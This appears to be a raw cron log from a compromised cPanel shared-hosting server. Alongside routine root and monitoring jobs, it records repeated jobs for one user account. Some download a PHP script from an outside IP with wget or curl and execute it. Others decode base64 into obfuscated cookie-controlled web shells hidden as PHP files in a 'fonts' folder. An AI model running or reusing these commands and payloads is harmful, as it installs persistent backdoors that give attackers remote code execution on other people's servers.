Sep  9 02:22:01 ip-184-168-122-23 CROND[27308]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 02:22:01 ip-184-168-122-23 CROND[27310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:22:01 ip-184-168-122-23 CROND[27309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:22:01 ip-184-168-122-23 CROND[27311]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:23:01 ip-184-168-122-23 CROND[27397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:23:01 ip-184-168-122-23 CROND[27400]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:23:01 ip-184-168-122-23 CROND[27402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:23:01 ip-184-168-122-23 CROND[27403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:24:01 ip-184-168-122-23 CROND[27630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:24:01 ip-184-168-122-23 CROND[27632]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:24:01 ip-184-168-122-23 CROND[27634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:24:01 ip-184-168-122-23 CROND[27636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:24:01 ip-184-168-122-23 CROND[27638]: (root) CMD (/usr/local/cpanel/whostmgr/docroot/cgi/cpaddons_report.pl --notify)
Sep  9 02:24:01 ip-184-168-122-23 CROND[27639]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 02:25:01 ip-184-168-122-23 CROND[28020]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:25:01 ip-184-168-122-23 CROND[28024]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  9 02:25:01 ip-184-168-122-23 CROND[28021]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 02:25:01 ip-184-168-122-23 CROND[28023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:25:01 ip-184-168-122-23 CROND[28027]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 02:25:01 ip-184-168-122-23 CROND[28025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:25:01 ip-184-168-122-23 CROND[28026]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:26:01 ip-184-168-122-23 CROND[28126]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:26:01 ip-184-168-122-23 CROND[28128]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 02:26:01 ip-184-168-122-23 CROND[28129]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:26:01 ip-184-168-122-23 CROND[28131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:26:01 ip-184-168-122-23 CROND[28134]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep  9 02:26:01 ip-184-168-122-23 CROND[28141]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep  9 02:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep  9 02:27:01 ip-184-168-122-23 CROND[28594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:27:01 ip-184-168-122-23 CROND[28595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:27:01 ip-184-168-122-23 CROND[28596]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:27:01 ip-184-168-122-23 CROND[28597]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:28:01 ip-184-168-122-23 CROND[28738]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:28:01 ip-184-168-122-23 CROND[28739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:28:01 ip-184-168-122-23 CROND[28742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:28:01 ip-184-168-122-23 CROND[28741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:28:01 ip-184-168-122-23 CROND[28743]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 02:29:01 ip-184-168-122-23 CROND[28831]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:29:01 ip-184-168-122-23 CROND[28833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:29:01 ip-184-168-122-23 CROND[28834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:29:01 ip-184-168-122-23 CROND[28832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:30:01 ip-184-168-122-23 CROND[28929]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 02:30:01 ip-184-168-122-23 CROND[28930]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 02:30:01 ip-184-168-122-23 CROND[28934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:30:01 ip-184-168-122-23 CROND[28939]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 02:30:01 ip-184-168-122-23 CROND[28940]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:30:01 ip-184-168-122-23 CROND[28941]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:30:01 ip-184-168-122-23 CROND[28938]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 02:30:01 ip-184-168-122-23 CROND[28935]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:31:02 ip-184-168-122-23 CROND[29041]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:31:02 ip-184-168-122-23 CROND[29042]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 02:31:02 ip-184-168-122-23 CROND[29044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:31:02 ip-184-168-122-23 CROND[29045]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:31:02 ip-184-168-122-23 CROND[29046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:32:01 ip-184-168-122-23 CROND[29215]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 02:32:01 ip-184-168-122-23 CROND[29217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:32:01 ip-184-168-122-23 CROND[29219]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:32:01 ip-184-168-122-23 CROND[29218]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:32:01 ip-184-168-122-23 CROND[29220]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:33:01 ip-184-168-122-23 CROND[29312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:33:01 ip-184-168-122-23 CROND[29314]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:33:01 ip-184-168-122-23 CROND[29315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:33:01 ip-184-168-122-23 CROND[29316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:34:01 ip-184-168-122-23 CROND[29396]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:34:01 ip-184-168-122-23 CROND[29398]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
